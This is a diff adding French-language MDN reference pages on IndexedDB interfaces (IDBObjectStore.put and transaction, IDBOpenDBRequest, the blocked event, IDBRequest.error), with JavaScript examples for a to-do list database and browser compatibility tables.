+<p>La méthode <strong><code>put()</code></strong>, rattachée à l'interface {{domxref("IDBObjectStore")}}, renvoie un objet {{domxref("IDBRequest")}} et, dans un autre <em>thread</em>, crée <a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#structured-clone">un clone structuré</a> de la valeur puis enregistre ce clone dans le magasin d'objet. Cette méthode permet ainsi d'ajouter de nouveaux enregistrements ou de mettre à jour des enregistrements existants dans un magasin d'objet lorsque la transaction est en mode <code>readwrite</code> (lecture-écriture)</p>
+
+<p>Si l'enregistrement est stocké avec succès, un évènement de succès sera déclenché sur la requête renvoyée par la méthode. La propriété <code>result</code> de cette requête contiendra la clé de l'enregistrement créé ou mis à jour. La propriété <code>transaction</code> de cette requête sera la transaction dans laquelle le magasin d'objet est ouvert.</p>
+
+<p>La méthode <code>put()</code> permet d'ajouter ou de mettre à jour. Si on souhaite uniquement insérer, on utilisera plutôt {{domxref("IDBObjectStore.add")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var request = objectStore.put(monElement);
+var request = objectStore.put(monElement, cleOptionnelle);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>monElement</code></dt>
+ <dd>La valeur qu'on souhaite enregistrer.</dd>
+ <dt><code>cleOptionnelle</code> {{optional_inline}}</dt>
+ <dd>La clé qu'on souhaite utiliser pour identifier l'enregistrement. Si cet argument est absent, la valeur par défaut sera {{jsxref("null")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} qui recevra les évènements qui seront déclenchés suite à cette opération.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever une de ces exceptions {{domxref("DOMException")}} :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>ReadOnlyError</code></td>
+   <td>La transaction associée à l'opération est uniquement <a href="/fr/docs/Web/API/IDBTransaction#Constantes">dans un mode de lecture seule</a>.</td>
+  </tr>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>La transaction rattachée à l'objet {{domxref("IDBObjectStore")}} est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>
+    <p>L'une de ces conditions est vérifiée :</p>
+
+    <ul>
+     <li>Le magasin d'objet utilise des clés en ligne (<em>in-line keys</em>) ou dispose d'un générateur de clés et le paramètre pour la clé a été utilisé.</li>
+     <li>Le magasin d'objet utilise des clés en ligne (<em>in-line keys</em>), ne  dispose pas d'un générateur de clés et le paramètre pour la clé n'a pas été utilisé.</li>
+     <li>Le magasin d'objet utilise des clés en ligne (<em>in-line keys</em>), ne  dispose pas d'un générateur de clés et le chemin de clé du magasin d'objet ne déclenche pas une clé valide.</li>
+     <li>Le paramètre pour la clé a été fourni mais la valeur n'est pas une clé valide.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'objet {{domxref("IDBObjectStore")}} a été supprimé ou déplacé.</td>
+  </tr>
+  <tr>
+   <td><code>DataCloneError</code></td>
+   <td>Les données à enregistrer n'ont pas pu être clonées par l'algorithme interne.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on effectue une requête pour obtenir l'enregistrement correspondant à un titre donné. Lorsque cette requête est réussie, on récupère l'enregistrement via la fonction <code>onsuccess</code>. Ensuite, on met à jour une des propriétés de l'enregistrement et on enregistre la valeur mise à jour dans le magasin d'objet avec une autre requête et <code>put()</code>.</p>
+
+<pre class="brush: js">var title = "Walk dog";
+
+// On ouvre une transaction
+var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+// On obtient la liste to-do dont le titre correspond
+var objectStoreTitleRequest = objectStore.get(title);
+
+objectStoreTitleRequest.onsuccess = function() {
+  // On récupère les données de l'objet associé
+  // à l'enregistrement
+  var data = objectStoreTitleRequest.result;
+
+  // On met à jour la valeur de notified avec "yes"
+  data.notified = "yes";
+
+  // On crée une autre requête pour appliquer cette
+  // mise à jour en base de données
+  var updateTitleRequest = objectStore.put(data);
+
+  // On imprime la transaction à l'origine
+  // de la requête
+  console.log("La transaction originelle est " + updateTitleRequest.transaction);
+
+  // Lorsque cette nouvelle requête a réussi. On affiche
+  // les données grâce à la fonction displayData()
+  updateTitleRequest.onsuccess = function() {
+    displayData();
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-put-IDBRequest-any-value-any-key', 'put()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/transaction/index.html b/files/fr/web/api/idbobjectstore/transaction/index.html
new file mode 100644
index 0000000000..013af1c552
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/transaction/index.html
@@ -0,0 +1,171 @@
+---
+title: IDBObjectStore.transaction
+slug: Web/API/IDBObjectStore/transaction
+translation_of: Web/API/IDBObjectStore/transaction
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<div>
+<p>La propriété <strong><code>transaction</code></strong> de l'interface {{domxref("IDBObjectStore")}} renvoie la {{domxref("IDBTransaction","transaction")}} à laquelle l'{{domxref("IDBObjectStore","accès")}} du magasin d'objet appartient.</p>
+
+<p>{{AvailableInWorkers}}</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var myTransaction = objectStore.transaction;</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une {{domxref("IDBTransaction","transaction")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans le code suivant, on ouvre une {{domxref("IDBDatabase","connexion")}} à la base de donnée. Sur cette connexion on démarre une {{domxref("IDBTransaction","transaction")}} en lecture/écriture pour avoir un {{domxref("IDBObjectStore","accès")}} au magasin d'objet <code>"toDoList"</code> dans lequel on {{domxref("IDBObjectStore.add","ajoute")}} un enregistrement.</p>
+
+<p>La propriété <strong><code>transaction</code></strong> affiche la transaction à laquelle l'accès du magasin d'objet appartient.</p>
+
+<pre class="brush: js">//Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+	note.innerHTML += '&lt;li&gt;Connexion établie.&lt;/li&gt;';
+
+	//Affecte la connexion à la variable db.
+	db = DBOpenRequest.result;
+
+	// Exécutez la fonction addData () pour ajouter un enregistrement au magasin d'objet
+	addData();
+};
+function addData() {
+	// un nouvel objet prêt à être emmagasiné
+	newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+	// ouvre une transaction de lecture / écriture  prête au traitement des données sur la connexion
+	var transaction = db.transaction(["toDoList"], "readwrite");
+
+	// en cas de succès de l'ouverture de la transaction
+	transaction.oncomplete = function(event) {
+		note.innerHTML += '&lt;li&gt;Transaction complété : modification de la base de données terminée.&lt;/li&gt;';
+	};
+	// en  cas d'échec de l'ouverture de la transaction
+	transaction.onerror = function(event) {
+		note.innerHTML += '&lt;li&gt;L\'erreur: "' + transaction.error +'" c\'est produite échec de la transaction.&lt;/li&gt;';
+	};
+
+	// ouvre l'accès au un magasin "toDoList" de la transaction
+	var objectStore = transaction.objectStore("toDoList");
+
+//-&gt;Affiche la transaction de l'accès du magasin d'objet
+    console.log(objectStore.transaction);
+
+	// Ajoute un enregistrement
+	var objectStoreRequest = objectStore.add(newItem[0]);
+	objectStoreRequest.onsuccess = function(event) {
+		// signale l'ajout de l'enregistrement
+		note.innerHTML += '&lt;li&gt;Enregistrement ajouté.&lt;/li&gt;';
+	};
+ };
+ </pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-transaction', 'transaction')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbopendbrequest/index.html b/files/fr/web/api/idbopendbrequest/index.html
new file mode 100644
index 0000000000..f5561d6315
--- /dev/null
+++ b/files/fr/web/api/idbopendbrequest/index.html
@@ -0,0 +1,226 @@
+---
+title: IDBOpenDBRequest
+slug: Web/API/IDBOpenDBRequest
+tags:
+  - API
+  - Base de données
+  - IndexedDB
+  - Interface
+  - Reference
+  - Référence DOM
+  - Stockage
+translation_of: Web/API/IDBOpenDBRequest
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<div>
+<p>L'interface <strong><code>IDBOpenDBRequest</code></strong> de l'API IndexedDB donne un accès aux résultats des requêtes permettant d'ouvrir ou  de supprimer des bases de donnée (Effectuée via {{domxref("IDBFactory.open")}} et {{domxref("IDBFactory.deleteDatabase")}}).</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite  des méthodes de ses parents {{domxref("IDBRequest")}} et {{domxref("EventTarget")}}</em>.</p>
+
+<h3 id="Évènements">Évènements</h3>
+
+<dl>
+ <dt>{{domxref("IDBOpenDBRequest.onblocked")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Le gestionnaire d'événements pour événement bloqué</span></span> . Cet événement est lancé lorsqu' un événement  <code>upgradeneeded </code>doit être déclenché en raison d'un changement de version, mais que la base de données est toujours en cours d'utilisation (c'est-à-dire, non fermée) quelque part, même après l'envoi de l'évènement <code>versionchange</code> .</dd>
+ <dt>{{domxref("IDBOpenDBRequest.onupgradeneeded")}}</dt>
+ <dd>Le gestionnaire d'évènement pour évènement <code>upgradeneeded</code> <em>(mise-à-jour nécessaire)</em>, lancé quand une base de données d'une version supérieure à celle de la base de données existante est chargé.</dd>
+ <dt>
+ <h2 id="Méthodes">Méthodes</h2>
+
+ <p><em>Pas de méthodes, mais hérite des méthodes de ses parents {{domxref("IDBRequest")}} et {{domxref("EventTarget")}}.</em></p>
+ </dt>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple ci-dessous,  le gestionnaire <code>onupgradeneeded</code> est utilisé pour mettre à jour la structure de la base de données, si une base plus récente est chargée. Pour voir un exemple complet, référez-vous à notre application <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<u><a href="http://mdn.github.io/to-do-notifications/">voir cet exemple réel</a></u>)</p>
+
+<pre class="brush: js; highlight:[15,25,26,28,29,30,31,32,33,34]">var db;
+
+// Ouvre la base de données.
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// Ces gestionnaires d'évènements agissent sur la base de données en cours d'ouverture.
+  note.innerHTML += '&lt;li&gt;Error loading database.&lt;/li&gt;';
+};
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Database initialised.&lt;/li&gt;';
+
+  // stocke le résultat de l'ouverture de la base de données dans la variable db .
+  // Ceci est beaucoup moins utilisé.
+  db = DBOpenRequest.result;
+
+  // Exécute la fonction displayData() pour remplir la liste de tâches
+  // avec toutes les données de la lste de tâches déjà dans la base.
+  displayData();
+};
+
+// Cet évènement gère l'évènement par lequel une nouvelle version
+// de la base de données doit être créée. Soit elle n'a pas
+// été créée avant, soit un nouveau numéro de version a été
+// soumis via la ligne "window.indexedDB.open" ci-dessous.
+// Il n'est implémenté que dans les navigateurs récents.
+DBOpenRequest.onupgradeneeded = function(event) {
+  var db = this.result;
+
+  db.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Error loading database.&lt;/li&gt;';
+  };
+
+  // Crée un objet de stockage pour cette base de données.
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // définit quels éléments de données l'objet de stockage contiendra.
+
+  objectStore.createIndex("hours", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("day", "day", { unique: false });
+  objectStore.createIndex("month", "month", { unique: false });
+  objectStore.createIndex("year", "year", { unique: false });
+  objectStore.createIndex("notified", "notified", { unique: false });
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBOpenDBRequest', 'IDBOpenDBRequest')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#idbopendbrequest", "IDBOpenDBRequest")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Indexed Database 2.0</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Indexed Database 2.0</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Démarrage de transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Utilisation de transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définition un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupération et modification des données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utilisation de curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbrequest/blocked_event/index.html b/files/fr/web/api/idbrequest/blocked_event/index.html
new file mode 100644
index 0000000000..e3fdfdfb83
--- /dev/null
+++ b/files/fr/web/api/idbrequest/blocked_event/index.html
@@ -0,0 +1,102 @@
+---
+title: blocked
+slug: Web/API/IDBRequest/blocked_event
+translation_of: Web/API/IDBOpenDBRequest/blocked_event
+---
+<p>Le handler <strong>blocked</strong> est exécuté lorsque l'ouverture d'une connexion à une base de données bloque une transaction <em>versionchange</em> sur celle-ci.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">IDBVersionChangeEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">IDBRequest</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The request concerned by this event.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>newVersion</code> {{readonlyInline}}</td>
+   <td>unsigned long (int)</td>
+   <td>The new version of the database.</td>
+  </tr>
+  <tr>
+   <td><code>oldVersion</code> {{readonlyInline}}</td>
+   <td>unsigned long (int)</td>
+   <td>The old version of the database.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js; line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> req1 <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open</span><span class="punctuation token">(</span><span class="string token">"addressbook"</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+req1<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> addressbookDB <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+
+  <span class="comment token">// Essayons d'ouvrir la même base de données avec une version de révision plus élevée</span>
+  <span class="keyword token">var</span> req2 <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open</span><span class="punctuation token">(</span><span class="string token">"addressbook"</span><span class="punctuation token">,</span> <span class="number token">4</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Dans ce cas, le handler onblocked</span> sera exécuté
+  req2<span class="punctuation token">.</span>onblocked <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span> e <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span>
+  <span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("success")}}</li>
+ <li>{{event("error")}}</li>
+ <li>{{event("abort")}}</li>
+ <li>{{event("complete")}}</li>
+ <li>{{event("upgradeneeded")}}</li>
+ <li>{{event("blocked")}}</li>
+ <li>{{event("versionchange")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/IndexedDB/Using_IndexedDB">Utilisation d'IndexedDB</a></li>
+</ul>
diff --git a/files/fr/web/api/idbrequest/error/index.html b/files/fr/web/api/idbrequest/error/index.html
new file mode 100644
index 0000000000..45e27f7f49
--- /dev/null
+++ b/files/fr/web/api/idbrequest/error/index.html
@@ -0,0 +1,213 @@
+---
+title: IDBRequest.error
+slug: Web/API/IDBRequest/error
+tags:
+  - API
+  - Error
+  - IDBRequest
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBRequest/error
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>error</code></strong> de l'interface {{domxref("IDBRequest")}} renvoie l'erreur associée lorsque la requête est un échec.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var myError = request.error;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une erreur {{domxref("DOMError")}} qui contient l'erreur pertinente. Pour Chrome 48 et les versions ultérieures, cette propriété est une {{domxref("DOMException")}} car <code>DOMError</code> a été retiré du standard pour le DOM. Les codes d'erreurs suivants sont utilisés selon les conditions d'erreur :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Erreur</th>
+   <th scope="col">Explication</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>AbortError</code></td>
+   <td>Si on annule la transaction en cours, toutes les requêtes en cours reçoivent cette erreur.</td>
+  </tr>
+  <tr>
+   <td><code>ConstraintError</code></td>
